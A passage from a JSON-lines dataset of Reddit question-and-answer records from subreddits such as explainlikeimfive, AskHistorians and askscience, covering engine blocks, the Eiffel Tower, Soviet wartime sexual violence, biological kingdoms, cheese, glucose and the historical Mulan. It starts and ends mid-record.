mask the pattern onto the fill.", "I miss chowder! The graphics were always something to look forward to, as well as the humor. Radah-radah!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "20mh4i", "title": "what is the difference between a small block and a big block engine?", "selftext": "I have seen small block engines with a much greater displasement than a big block engine, so what exatly are the difference between those?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/20mh4i/eli5_what_is_the_difference_between_a_small_block/", "answers": {"a_id": ["cg4ovef", "cg4ovkm", "cg4pckr", "cg4pwwc", "cg4q331", "cg4qal0", "cg4qw7c"], "score": [5, 6, 193, 6, 6, 38, 6], "text": ["Displacement is the internal cylinder size.  Larger diameter, longer cylinder or longer stroke can increase the displacement.  The 350 Chevy engine for example, can be modified to get 383 cubic inches of displacement.  With all of this happening, only the internals are being modified.  \n\nThere's a limit to how much displacement you can get inside the confines of a certain engine block.  If you make the engine block bigger, you can do more.  The big block doesn't necessarily have to be bored out or stroked out to a really large displacement, but the size of the block allows for it if you want it.  ", "Not the displacement but the size of the block, in a small block the cylinders will be closer together than a big block but it will also heat up quicker. ", "Big block:\n\nO O O O\n\nO O O O\n\nSmall block:\n\nOOOO\n\nOOOO\n\nedit: this should have been a lot easier. stupid phone redditing\n\nedit2: Was not intending to be patronizing, merely wanted to illustrate a small block with the same displacement as a big block has thinner cylinder walls which can cause heat issues (assuming we are talking about boring the cylinders, displacement can also be added by gaining stroke). The 'power' in an engine is relative to the amount of air/fuel mixture being compressed then ignited in the compression chamber. Turbo/super chargers simulate this by artificially increasing the air/fuel mixture without increasing displacement. Higher power gains can be achieved by also decreasing the volume of the compression chamber or 'shaving the heads' (increasing your compression).\n\nTL;DR Shave it, blow it, bore it, stroke it; either way you're going to have a good time! ", "The terms big block and small block came about during the 1960's.  Prior to that time, most engines were flathead inline 6 or 8 cylinder configurations.  In the late 50's and early 60's, the V-8's became prominent.  The small 283 c.i. Chevy engine and 289 c.i. Ford engine put out considerable horsepower and speed for their relative small size.  Over the years, Ford had 3 different versions of the 351 c.i. in an attempt to compete with the popularity of G.M.'s 350; the 351 modified, 351 Windsor, and the 351 Cleveland.  The modified had the least amount of mass and the Cleveland the largest.  I think that weight of the engine vs. weight of the car (especially with the emerging popularity of factory muscle cars during the 60's,) and engineering the handling with the weight being centered over the steering axles determined which size engines would be used.", "Watch this:\n\n_URL_0_\n", "Big blocks are heavier, contain more metal, can withstand higher compression and heat, and are also generally more durable.  The blocks have the cylinders further apart.  \n\nThe downside is that they are big and bulky, which puts a lot of extra weight on the car or truck, and especially for front mounted engines they affect handling.  \n\nFurthermore, recent advances in engine design and materials mean their benefits are largely mitigated.\n\nEdit, spel wring.", "It's pretty much about the original casting of the engine block and the conventions of the manufacturer. Chevrolet's small block started as a 265 cu. in. In later versions it's bore and stroke were increased, 283, 327, 307, 302 (the original Z28 motor) All were based on the same block and cylinder head castings.\n\nThe Chevrolet big block motor started life as the 396. There was a whole family of engines based on this primary casting.\n\nThis was pretty much true of Ford and Chrysler."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], ["https://www.youtube.com/watch?v=LPZuEWli4gQ"], [], []]}
{"q_id": "3ghgzi", "title": "Would the Eiffel Tower have been built differently if it was originally intended to be permanent?", "selftext": "I've read that the Eiffel Tower was intended as a temporary attraction for the 1889 World\u2019s Fair and then it was supposed to have been dismantled.  I've always wondered, if they had known it was going to become permanent, would they have built it differently?  (For example, a stronger foundation, rust resistant materials or finishes, etc.)  \n\nI'm also curious about the same thing in regards to the London Eye.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/3ghgzi/would_the_eiffel_tower_have_been_built/", "answers": {"a_id": ["ctycrr9", "ctyicu0", "ctyiwjk", "ctyjp0d", "ctyygs4"], "score": [194, 226, 16, 39, 2], "text": ["I did some calculations on the cost of the Eiffel tower because I couldn't find good data on it. I [obtained](_URL_2_) an estimated cost during construction of 6.5 million francs in 1887. Given that in 1873, the franc was set to a [gold standard](_URL_0_), and that historical prices for gold can be [obtained](_URL_1_) in USD (because its very difficult to get data on the franc) I assumed I could convert 1873 francs to 1873 USD (which came out to 56.53 francs = 1 USD in 1873) and then converted 1873 USD to 2014 USD, I came up with \"What cost $114973.16 in 1873 would cost $2239791.93 in 2014.\"\n\nI'm not sure that this says much, but if anyone was wondering how much money was put into the tower during construction, that might be a good estimate.", "This seems like a hypothetical question, so unless somebody has the diary of Gustave, don't expect a complete answer. \n\nWhat one could assume is that yes, the design might have been different. Buildings (and by extension ideas) are rarely thought up in thin air, and are usual a product of their environment and what restrictions are given. If Eiffel had known that his tower would have to stand the test of time, then by all means he would try to achieve that goal. ", "For example, could it have been built significantly taller (say 2 times) with the technologies at the time?", "One way to determine this is to see what has had to be done since construction to ensure it lasts; if any corners were cut during construction, surely those would have been rectified since. Essentially, other than some first-floor rehab to make it more functional as a tourist spot, it seems that the only major conservation work is [to paint it](_URL_0_) on a regular basis. Interestingly it has had a number of colors over the years, from red to yellow to brown. ", "Similar thing could be said for the Atomium (no image allowed because of copyright), it was only supposed to last for the world exhibition of 1958. They decided to keep it, and they restored it in 2006. Lots of details will show that it wasn't supposed to stand so long (with sidepanels that don't align properly etc, but it's still safe)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/French_franc#Latin_Monetary_Union", "http://onlygold.com/Info/Historical-Gold-Prices.asp", "https://en.wikipedia.org/wiki/Eiffel_Tower#Origin"], [], [], ["http://www.toureiffel.paris/en/everything-about-the-tower/themed-files/97.html"], []]}
{"q_id": "4lq7na", "title": "Can the historical argument be made that the behavior of the Soviet army in Germany / towards Germans in WWII was related to the cruelties they had suffered at the hands of the Nazis?", "selftext": "The Germans committed terrible war crimes in the Soviet Union. When the Soviets started to advance, they also began treating the German population they came across horribly, especially when it came to the rape of women. Was this behavior by the Soviets brought on by the brutality they had suffered at the hands of the Nazis or are there any other factors -- possibly cultural as Norman Naimark asserts -- that played a role?\n\n*\"Norman Naimark also notes the allegedly patriarchal nature of Russian culture, and of the Asian societies comprising the Soviet Union, where dishonor was in the past repaid by raping the women of the enemy. The fact that the Germans had a much higher standard of living visible even when in ruins \"may well have contributed allegedly to a national inferiority complex among Russians\". Combining Russian feelings of inferiority, the resulting need to restore honor, and their desire for revenge may be the reason many women were raped in public as well as in front of husbands before both were killed.\"*", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4lq7na/can_the_historical_argument_be_made_that_the/", "answers": {"a_id": ["d3pmv01", "d3q6q1f"], "score": [3, 3], "text": ["Revenge was certainly a part of it. Soviet political officers would put together a 'revenge score' where they'd interview the soldiers in their unit and compile a master list of all they had lost during the war.  After this was done a poster would be put up that said something like \"We are now getting our revenge for 775 of our relatives who were killed, for 909 relatives who were taken away into slavery, for 478 burnt-down houses and for 303 destroyed farms\".  Or, to quote the Soviet writer Ilya Ehrenburg \"Do not count days; do not count miles.  Count only the number of Germans you have killed.  Kill the German - this is your mother's prayer. Kill the German - this is the cry of your Russian earth.  Do not waver. Do not let up. Kill.\".  I'm not aware of anywhere (outside of Nazi propaganda) where Soviet authorities were explicitly calling for the rape of German women, but it's easy to see how the fury they were whipping up to motivate their soldiers to fight could overflow into criminal behavior. \n\nAt the same time it would be impossible to put all of this down to revenge.  There were cases where women in occupied territory were raped by advancing Soviet troops, and even Russian women who had been taken as slave labor and then later raped by their fellow countrymen. None of this makes sense in the context of revenge. \n\nI don't know how it would be possible to give a percentage breakdown of the different causes, but there's obviously multiple different things going on here;\n\nAt the most basic level there are just a certain % of people out there who will commit rape if they can get away with it. A soldier in enemy territory is going around armed and surrounded by potential victims whose only recourse is to try to seek justice from the same organization their rapist is a part of. In terms of sheer opportunity, it doesn't get much 'better' for someone who's already inclined to commit rape.\n\nThe sheer brutality of the war in the east may have contributed somewhat as well, both in terms of the men committing the rapes and in their comrades who were allowing it to happen.  At the same time there have been a huge number of men who have suffered all kinds of war trauma who didn't become rapists.  This should show that war trauma is not an excuse, and is at best only a partial explanation. \n\nCultural factors also certainly play a role.  Rape is a social problem, and the attitudes that the rapist has been inculcated with certainly play a part in his activities.  According to Beevor, looting implicitly meant rape as well in the Red Army.  That idea doesn't make much sense unless you regard women as property, which is obviously a deeply patriarchal notion. With that being said, the idea that the USSR(with its official doctrine of equality a large number of women involved in combat operations) was uniquely patriarchal seems a bit absurd. \n\nIt's also important to note that these different factors aren't mutually exclusive.  A soldier who was committing rapes purely because the opportunity presented itself might justify his behavior to his comrades by calling it an act of revenge.  They might be willing to look the other way because of the effects of previous wartime experiences.  This only makes it more difficult to disentangle what the \"real\" cause of this phenomenon was. \n\nI hope this has been useful to you even if I couldn't provide a definitive answer.  If you have any questions I'll answer them if I feel able. \n\nSources:\n\nBeevor, A. (2003). The fall of Berlin, 1945. New York: Penguin.\n\nLowe, K. (2012). Savage continent: Europe in the aftermath of World War II. London: Viking.", "I harbor some doubts towards an explanation that seeks to assign cultural factors major explanatory power. /u/kieslowskifan gives an amazingly in-depth treatment of the Red Army's behavior in East Germany [here](_URL_0_). Next to the factors mentioned here and by /u/ZizeksHobobeard -- revenge mentality, brutalization by war, the prevention of the normalization of the relationship between occupier and occupied, similar occurrences in the other Allied zones --, another reason why I am very hesitant to chalk the Red Army's behavior to cultural factors is the general prevalence of this phenomenon in WWII.\n\nWe often tend to focus on the Red Army when it comes especially to rape. And while this as pointed out in the linked answer above was also a phenomenon that occurred in the Western Allied zone, the focus on sexual crimes of the Red Army among the Allied army is somewhat justified because of the sheer scale of it. What does get overlooked often and why I am hesitant to assign cultural factors major explanatory power is that this phenomenon on the German side is still very underresearched.\n\nWe of course do know about the crimes committed by the Germans in the Soviet Union. However, rape usually has no place in this narrative. This is an incredibly hard subject to research but there are some indications that a similar behavior seems to have been endemic in the German occupied Soviet Union. Pascale R. Bos cites figures in her article *Feminists Interpreting the Politics of Wartime Rape: Berlin, 1945\"; Yugoslavia, 1992\u20131993 Journal of Women in Culture and Society, 2006, vol. 31, no. 4, p.996-1025*: A German Wehrmacht survey from 1942 estimates that 750,000 babies had already been born from contact between German soldiers and Russian women. This is a conservative estimate and covers only the time frame up to 1942. While not all of these might have come from rape it still shows how endemic the problem must have been.\n\nWendy Jo Gertjejanssen writes in her thesis [Victims, Heroes, Survivors. Sexual Violence on the Eastern Front during World War II](_URL_1_) about the prevalence of violence on the Eastern Front during the German attack on the Soviet Union. She shows that the German military ran hundreds of brothels on the Eastern Front with a still unknown number of women being forced into prostitution through starvation or at gun point. She asserts that in addition to criminal behavior being made official policy with the Barbarosse decree etc., there also was an official policy of sexual exploitation of Soviet women that affected thousands if not hundred thousands.\n\nShe also goes further and writes:\n\n >  Rape by armed men was a reality on the eastern front. Members of the German Army, the SS and police, the Red Army, and armed partisan fighters raped women and girls all over the east, from a wide variety of backgrounds. The leadership of neither military did much to prevent its men from sexually assaulting civilian women and girls. A few men were punished, and there are stories of Soviet officers shooting soldiers who were guilty of rape. The available evidence, however, indicates that these were exceptions. Rape was not viewed as a crime, let alone a brutal attack against a person. Although rape was not a formal military tactic by either army, rape was deployed as a means of terror by both the Germans and the Soviets, and there was a tacit understanding that the armed men had a right or even permission to rape women and girls. The complicity of both the German and the Soviet military leaderships during the war and the denial of governments, states, veterans of war, politicians, and other national and international leaders has been pervasive, unmistakable, and generally, a disgrace.\n\nWhile here too, it is virtually impossible to get definite numbers, Gertjejanssen basically goes to show that sexual violence had been part of the Eastern Front theater basically since the invasion of the Soviet Union in 1941. And while this, of course, does in no way negate or relaitivize the behavior of the Red Army in Germany, it is a very strong argument against what Norman Naimark argues. If the sexual violence of the Soviet Army was so strongly rooted in culture, why did the Germans behave in a strikingly similar way? I think what this shows is that the issue of sexual violence as an essential part of the fighting on the Eastern Front is a heavily underresearched topic and that we need to be very careful when looking at the Soviet in Germany example and assigning explanations without knowing or considering this background."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://www.reddit.com/r/AskHistorians/comments/4lsyzs/how_did_the_red_army_and_soviet_russia_treat/", "http://www.victimsheroessurvivors.info/VictimsHeroesSurvivors.pdf"]]}
{"q_id": "1xg66t", "title": "Are there any living things that blur the differences with kingdoms? For example, is there an animal that is very similar to a fungus?", "selftext": "Or a plant that could also be an animal?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1xg66t/are_there_any_living_things_that_blur_the/", "answers": {"a_id": ["cfb21jm", "cfb2z05", "cfbbj6k", "cfbbttj"], "score": [27, 10, 2, 8], "text": ["There are a few animals that have evolved to use chloroplasts/photosynthesis. I'd say that is sort of blurring the line between plant and animal. [Examples](_URL_0_)\n\nThen there are slime molds. Used to be considered Fungi, but have recently been reclassified as Amoebozoa. They can move, work cooperatively, and seek food. But they reproduce using spores.\n\n", "I'd say any critter symbiotically blending cells from 2 kingdoms would qualify, say lichens for instance (algae + fungi).\n\nMost metazoans should also qualify according to the symbiotic model of cell formation (_URL_0_). Most organelles would thus be considered captive symbiotic micro-organisms.", "Certain bacteria, especially those in the genera *Streptomyces* and *Actinomyces* have many traits which are shared with yeast (unicellular fungus). Under the microscope they form branching filamentous structures called hyphae and have spores like fungi. Something like 2/3 of our antibiotics are derived from *Streptomyces*, in fact- most of the rest come from fungi.", "[Nucleariids](_URL_4_) include slime molds that are closely related to fungi but are considered distinct. Some definitions of Plantae don't include [red algae](_URL_6_) and [glaucophytes](_URL_2_). The distinctions in these examples are blurred because the definitions vary or the organisms in question originated near a branching point in the tree of life.\n\n[Water molds](_URL_1_) produce spores and filaments like fungi, but are not closely related. A [sea sponge](_URL_5_) looks a lot like a plant or fungus, but is actually an animal. There is no blurriness in these cases with regard to classification. The similarities are just superficial.\n\nSplits in phylogentic trees are usually defined in a way that doesn't allow overlap, but lateral gene transfer muddles it up a bit. It happens a lot among prokaryotes, and you can find limitless examples of blurred lines within (and between) bacteria and archaea. It doesn't usually happen among eukaryotes, especially multicellular organisms, in part because of the nucleus and complexity of the organisms.\n\nOne exception is the [eastern emerald elysia](_URL_3_), which eats algae and takes their plastids. As a result, it becomes photosynthetic and never needs to eat again. However, its offspring are not born with the plastids. Plastids need to have their chlorophyll periodically regenerated, which is done by the algae cell itself usually. However, it seems that plastids in elysia are maintained for the slug's lifetime, and the genes for producing the necessary proteins are present in the elysia's nucleus. [This paper](_URL_0_) considers the possible explanations, one of which is that the genes for generating chlorophyll transferred from the algae to the elysia at some point, which would mean it has genes from something outside its kingdom."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://umich.uloop.com/news/view.php/77109/4-incredible-photosynthetic-animals"], ["http://en.wikipedia.org/wiki/Endosymbiotic_theory"], [], ["http://www.pnas.org/content/93/22/12333.short", "http://en.wikipedia.org/wiki/Oomycota", "http://en.wikipedia.org/wiki/Glaucophyta", "http://en.wikipedia.org/wiki/Elysia_chlorotica", "http://en.wikipedia.org/wiki/Nucleariids", "http://en.wikipedia.org/wiki/Sponge", "http://en.wikipedia.org/wiki/Rhodophyta"]]}
{"q_id": "5485xo", "title": "what makes certain types of cheese sharp? how are sharp cheeses made and how is the process different than that of less sharp cheeses?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5485xo/eli5_what_makes_certain_types_of_cheese_sharp_how/", "answers": {"a_id": ["d7zzczv"], "score": [6], "text": ["Sharpness in cheese mainly comes from how long it has been aged. Basically the longer it has been aged the more time the bacteria  has to produce enzymes that break down its fats and proteins which produces compounds that makes the cheese sharp."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2acxsx", "title": "Why is glucose so important?", "selftext": "When glucose levels go down, your body consequentially secrets hormones (cortisol, glucagon, etc) to raise blood glucose levels to the desired amounts, and vise-versa. When cholesterol levels are high, for example, your body does nothing to combat this adverse effect. Why are specific glucose levels required to be maintained for homeostasis?\n", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2acxsx/why_is_glucose_so_important/", "answers": {"a_id": ["ciu0avj", "ciu0o39", "ciu748j"], "score": [2, 2, 2], "text": ["Because your brain uses glucose as its main energy source, and up to 25% of your overall energy use is by the brain. \n\nIt follows then that glucose availability is crucial and so you have a lot of glucose level manipulation. ", "Think about comparing glucose supply to oxygen supply\n\nRespiration works like an engine, using oxygen to burn fuel to release energy (in several complicated steps). Therefore the supply of fuel is just as vital as the supply of oxygen. The main fuel used by your cells is glucose, in particular your brain is quite fussy and will use (almost) exclusively glucose. If your blood glucose levels drop too low your brain will eventually run out of glucose and be unable to respire. Hormones like cortisol and glucagon tell the liver to release its stored glucose into the blood, keeping levels high enough to supply cells.\n\nThe body uses insulin to prevent blood glucose peaking straight after meals. If it didn't then the supply rate would vary too much. The insulin lowers the level by making the liver absorb and store it, this can then gradually be released, as described above.\n\nCompared to cholesterol uncontrolled glucose levels have much worse consequences. Poorly controlled diabetes will cause all the artery disease cholesterol does, but much faster. It can also make you go blind (diabetic retinopathy), act as lovely food for bacteria (leading to osteomyelitis etc), ruin your nerves (diabetic neuropathy) and cause kidney disease.", "To add a little bit to some of the explanations (in case you're interested in some of the specifics)...\n\nThe main form of energy used in the body is ATP, which most people have probably at least heard of at some point. ATP is used to do all sorts of things; it is commonly dephosphorylated in conjunction with other, less energetically favorable biochemical reactions in order to drive the reaction to completion. \n\nGlucose, via a series of steps, is used to produce much of the ATP we use for these biochemical reactions. First, it undergoes glycolysis, which converts the glucose to pyruvate (and produces 2 ATP per glucose). Then, the pyruvate enters the citric acid cycle (also known as the Krebs cycle or tricarboxylic acid cycle), where it is used to produce NADH, FADH2, and 2 more ATP. \n\nThe NADH and FADH2 molecules are then used in what is known as the electron transport chain, which produces the majority of the ATP. I forget the exact number, but somewhere in the neighborhood of 35 ATP are produced per glucose molecule through this process.\n\nNow, there are other ways of producing ATP, but glucose is by far the most efficient at producing it, which is why it's so important."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "6z3l43", "title": "If Mulan did what she did in ancient China,what would have actually happened to her when they found out she was a female?", "selftext": "[Edit] I realize that this is based off a story but hypothetically if this happened IRL in the same time period the movie is set in,what would happen? ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/6z3l43/if_mulan_did_what_she_did_in_ancient_chinawhat/", "answers": {"a_id": ["dmsp884"], "score": [3987], "text": ["Alright, Hua Mulan.  In most traditions of the story she was a resident of the state of Northern Wei, the longest-lasting of the Northern Dynasties (386-535CE) of the Northern  &  Southern Period (420-589CE).  There are, of course, other tellings that put her in the Sui/Tang period, and certain others that put her in a nebulous \u201csometime in ancient and faraway musical *Chiiiiina*\u201d\u2026 but most tellings put her in Northern Wei.\n\nThis creates from the outset some very interesting and problematic issues with the Disnified version.  For one, though Mulan and her people are indeed called to serve against invaders, it\u2019s never specified in the *Ballad of Mulan* which invaders they\u2019re talking about, and it *certainly* never talks about \u201cGet[ting] down to business to defeat the Huns/Xiongn\u00fc\u201d\u2026 because, well, the \u201cHuns\u201d were already there, in Northern Wei\u2026 as its emperors, officials, and population.  Northern Wei was a Tuoba xianbei state that had partially sinified itself\u2026 but was still viewed by the Southern Han Chinese (of the Liu Song and Southern Qi Dynasties, respectively) as *themselves* the barbarians.  From the *Ballad of Mulan:*\n\n >  \u6628\u591c\u89c1\u519b\u5e16\uff0c\u53ef\u6c57\u5927\u70b9\u5175.\n\n >  trans: \u201c\u201cLast\u2029 night \u2029I\u2029 saw\u2029 the \u2029draft\u2029 posters, The \u2029Khan\u2029 is\u2029 calling \u2029many \u2029troops.\"\n\nFrom later on in the poem, after Mulan and her army has won the war:\n\n >  \u5f52\u6765\u89c1\u5929\u5b50\uff0c\u5929\u5b50\u5750\u660e\u5802\u3002\u7b56\u52cb\u5341\u4e8c\u8f6c\uff0c\u8d4f\u8d50\u767e\u5343\u5f3a\u3002\u53ef\u6c57\u95ee\u6240\u6b32\uff0c\u6728\u5170\u4e0d\u7528\u5c1a\u4e66\u90ce\uff0c\u613f\u9a70\u5343\u91cc\u8db3\uff0c\u9001\u513f\u8fd8\u6545\u4e61\u3002\n\n >  trans: \u201cOn\u2029 her \u2029return \u2029she \u2029sees \u2029the \u2029Son \u2029of \u2029Heaven, The\u2029 Son\u2029 of\u2029 Heaven\u2029 sits\u2029 in\u2029 the\u2029 Splendid \u2029Hall. He\u2029 gives \u2029out\u2029 promotions\u2029 in\u2029 twelve \u2029ranks And\u2029 prizes\u2029 of\u2029 a \u2029hundred \u2029thousand\u2029 and\u2029 more. The \u2029Khan\u2029 asks\u2029 her\u2029 what\u2029 she \u2029desires. \u201cMulan \u2029has \u2029no\u2029 use \u2029for\u2029 a\u2029 minister\u2019s \u2029post. I \u2029wish\u2029 to \u2029ride \u2029a \u2029swift \u2029mount, To take \u2029me \u2029back \u2029to \u2029my \u2029home.\u201d\n\nThe Son of Heaven is the Khan, and the Khan is the Son of Heaven.  Flibbity-flibbity-floo.  The fact of the matter is that especially northern Chinese history is far, *far* more of a cultural and ethnic melting pot than quite a few realize, or would care to admit.\n\nSo these invaders could have been the Chinese themselves, or the Tibetans, or Tuyuhun, or the Ruanruan Khannate (which seems a likely choice)\u2026 but the one thing they were *not* were the Huns/Xiongn\u00fc\u2026 because neither existed in any meaningful capacity by this point.  But ah well, I\u2019m getting off topic\u2026\n\nWe can infer quite a bit about the era she lived in and the likely consequences of her actions by the reactions of those around her \u2013 both her family, and later on the soldiers she\u2019s come to lead in combat:\n\n > \u53ef\u6c57\u5927\u70b9\u5175\u3002\u519b\u4e66\u5341\u4e8c\u5377\uff0c\u5377\u5377\u6709\u7237\u540d\u3002\u963f\u7237\u65e0\u5927\u513f\uff0c\u6728\u5170\u65e0\u957f\u5144\u3002\u613f\u4e3a\u5e02\u978d\u9a6c\uff0c\u4ece\u6b64\u66ff\u7237\u5f81\u3002\n\n > \u4e1c\u5e02\u4e70\u9a8f\u9a6c\uff0c\u897f\u5e02\u4e70\u978d\u97af\uff0c\u5357\u5e02\u4e70\u8f94\u5934\uff0c\u5317\u5e02\u4e70\u957f\u97ad\u3002\u65e6\u8f9e\u7237\u5a18\u53bb\uff0c\u66ae\u5bbf\u9ec4\u6cb3\u8fb9\u3002\u4e0d\u95fb\u7237\u5a18\u5524\u5973\u58f0\uff0c\u4f46\u95fb\u9ec4\u6cb3\u6d41\u6c34\u9e23\u6e85\u6e85\u3002\u65e6\u8f9e\u9ec4\u6cb3\u53bb\uff0c\u66ae\u81f3\u9ed1\u5c71\u5934\u3002\u4e0d\u95fb\u7237\u5a18\u5524\u5973\u58f0\uff0c\u4f46\u95fb\u71d5\u5c71\u80e1\u9a91\u9e23\u557e\u557e\u3002\n\n > \u4e07\u91cc\u8d74\u620e\u673a\uff0c\u5173\u5c71\u5ea6\u82e5\u98de\u3002\u6714\u6c14\u4f20\u91d1\u67dd\uff0c\u5bd2\u5149\u7167\u94c1\u8863\u3002\u5c06\u519b\u767e\u6218\u6b7b\uff0c\u58ee\u58eb\u5341\u5e74\u5f52\u3002\n\n >  trans: The \u2029Khan \u2029is \u2029calling \u2029many \u2029troops. The \u2029army \u2029list \u2029is \u2029in \u2029twelve \u2029scrolls,  On\u2029 every\u2029 scroll \u2029there\u2019s \u2029Father\u2019s \u2029name. Father\u2029 has\u2029 no\u2029 grown up\u2029 son, Mulan \u2029has\u2029 no \u2029elder \u2029brother. I\u2029 want \u2029to\u2029 buy \u2029a\u2029 saddle \u2029and\u2029 horse, And\u2029 serve\u2029 in\u2029 the\u2029 army\u2029 in\u2029 Father\u2019s \u2029place.\u201d\n\n > In\u2029 the \u2029East\u2029 Market \u2029she\u2029 buys \u2029a \u2029spirited\u2029 horse, In\u2029 the\u2029 West \u2029Market \u2029she \u2029buys \u2029a \u2029saddle, In\u2029 the \u2029South \u2029Market\u2029 she\u2029 buys \u2029a \u2029bridle, In\u2029 the\u2029 North Market \u2029she \u2029buys \u2029a\u2029 long \u2029whip. At \u2029dawn\u2029 she \u2029takes \u2029leave\u2029 of \u2029Father \u2029and\u2029 Mother, In\u2029 the\u2029 evening\u2029 camps\u2029 on\u2029 the\u2029 Yellow\u2029 River\u2019s \u2029bank. She\u2029 doesn\u2019t\u2029 hear \u2029the \u2029sound\u2029 of\u2029 Father \u2029and\u2029 Mother\u2029 calling, She\u2029 only\u2029 hears \u2029the \u2029Yellow \u2029River\u2019s \u2029flowing\u2029 water \u2029cry\u2029 tsien\u2029 tsien.\n\n > She\u2029 goes\u2029 ten \u2029thousand \u2029miles \u2029on \u2029the\u2029 business \u2029of\u2029 war, She \u2029crosses \u2029passes\u2029 and\u2029 mountains\u2029 like \u2029flying. Northern\u2029 gusts \u2029carry\u2029 the \u2029rattle \u2029of\u2029 army\u2029 pots, Chilly \u2029light \u2029shines \u2029on \u2029iron \u2029armor. Generals\u2029 die\u2029 in \u2029a \u2029hundred\u2029 battles, Stout \u2029soldiers \u2029return \u2029after\u2029 ten \u2029years.\n\nShe's not sneaking off in the middle of the night on a stolen horse with a borrowed saddle.  She says to her parents, \"hey, Dad can't go fight, I'm gonna go buy a horse and go off to war.\"  And her parents don't try to stop her.  Yeah, sure, they're sad and all, but such is life in a time of war.  What they're *not* terribly concerned about is the fact that she's a girl.\n\nBecause the historical Mulan isn't some pale-face beauty (ok, well she *is*, but that's not her only or even most important quality.)  The *Ballad* paints Mulan as more of an Ellen Ripley-esque certifiable badass.  There's no \"I'll Make A Man Out of You\" montage in the poem, because she is beating the snot out of her fellow soldiers from day one.  Even the Khan take note:\n\n >  On\u2029 her \u2029return \u2029she \u2029sees \u2029the \u2029Son \u2029of \u2029Heaven, The\u2029 Son\u2029 of\u2029 Heaven\u2029 sits\u2029 in\u2029 the\u2029 Splendid \u2029Hall. **He\u2029 gives \u2029out\u2029 promotions\u2029 in\u2029 twelve \u2029ranks And\u2029 prizes\u2029 of\u2029 a \u2029hundred \u2029thousand\u2029 and\u2029 more. The \u2029Khan\u2029 asks\u2029 her\u2029 what\u2029 she \u2029desires.** \u201cMulan \u2029has \u2029no\u2029 use \u2029for\u2029 a\u2029 minister\u2019s \u2029post. I \u2029wish\u2029 to \u2029ride \u2029a \u2029swift \u2029mount, To take \u2029me \u2029back \u2029to \u2029my \u2029home.\u201d\n\nMoreover, there's no mid-war gender-reveal.  Instead, she reveals she \"he's\" been a \"she\" these past 12 year only after the war, and voluntarily to her brothers-in-arms:\n\n >  \u8131\u6211\u6218\u65f6\u888d\uff0c\u8457\u6211\u65e7\u65f6\u88f3\u3002\u5f53\u7a97\u7406\u4e91\u9b13\uff0c\u5bf9\u955c\u5e16\u82b1\u9ec4\u3002\u51fa\u95e8\u770b\u706b\u4f34\uff0c\u706b\u4f34\u7686\u60ca\u5fd9\uff1a\u540c\u884c\u5341\u4e8c\u5e74\uff0c\u4e0d\u77e5\u6728\u5170\u662f\u5973\u90ce\u3002\n\n > \u96c4\u5154\u811a\u6251\u6714\uff0c\u96cc\u5154\u773c\u8ff7\u79bb\uff1b\u53cc\u5154\u508d\u5730\u8d70\uff0c\u5b89\u80fd\u8fa8\u6211\u662f\u96c4\u96cc\uff1f\n\n > \u201cI\u2029 open \u2029the\u2029 door\u2029 to\u2029 my \u2029east \u2029chamber, I\u2029 sit \u2029on \u2029my \u2029couch \u2029in \u2029the \u2029west \u2029room, I\u2029 take \u2029off \u2029my \u2029war time\u2029 gown, and \u2029put \u2029on\u2029 my \u2029old time\u2029 clothes.\u201d Facing \u2029the \u2029window\u2029 she\u2029 fixes \u2029her \u2029cloud like \u2029hair, Hanging\u2029 up\u2029 a\u2029 mirror \u2029she \u2029dabs \u2029on \u2029yellow\u2029 flower \u2029powder. She \u2029goes \u2029out \u2029the \u2029door\u2029 and\u2029 sees \u2029her\u2029 comrades. Her \u2029comrades \u2029are\u2029 all \u2029amazed \u2029and\u2029 perplexed. Traveling \u2029together \u2029for \u2029twelve\u2029 years They\u2029 didn\u2019t \u2029know\u2029 Mulan\u2029 was \u2029a \u2029girl.\n \n > \u201cThe \u2029he hare\u2019s \u2029feet\u2029 go\u2029 hop\u2029 and\u2029 skip, The \u2029she hare\u2019s \u2029eyes \u2029are \u2029muddled \u2029and \u2029fuddled. Two \u2029hares\u2029 running\u2029 side\u2029 by\u2029 side\u2029 close \u2029to \u2029the \u2029ground, How \u2029can \u2029they \u2029tell \u2029if \u2029I \u2029am\u2029 he \u2029or \u2029she?\"\n\nHer comrades are all sorts of \"amazed and perplexed\" that this ultimate badass was a smokin' hottie the whole time, yes, but she obviously believes that there's no danger in letting them know.  No punitive action is going to be taken against her... certainly nothing like Shen threatening her at swordpoint for the crime of saving his live while having gross girl-germs.\n\nThis hearkens back to the fact that Northern Wei, for all it desperately wanted to be, was *not* totally culturally Chinese... it still had many of the social and gender norms inherited from the Asian steppes and their formerly nomadic traditions - traditions like boys *and* girls should be trained to fight and defend their home, they should *all* be capable with the horse, bow, and sword... and that it was not entirely unheard of for men and women to serve alongside one another.  \n\nMoreover, Mulan in all her tellings serves as a paragon of the Chinese Virtue Above All Other Virtues: *filial piety.*  Sure, she's a girl, but her dad has no grown sons, and he can't effectively serve his lord... she she helps him by serving the khan on his behalf.  That is hardly something to be punished in Chinese value systems.\n\n________\n\nThis does change - as does the story itself - if it moves to a different time period.  Chu Renhou's *The Sui Tang Romance* moves the tale of Mulan up in time to the Tang overthrow of the Sui, ca. 618 CE.  moreover, it was written in the Qing Dynasty of the late 17th century.  Now, Chu borrowed *heavily* (and copied verbatim in more than a few places) from the earlier (pub. 1633) *Forgotten Tales of the Sui Dynasty*.  Nevertheless, it is very *very* focused on the idea of suicide or ritual defacement to establish its female characters with virtue and honor equal to men.  Thus, in the tale of Hua Mulan, we 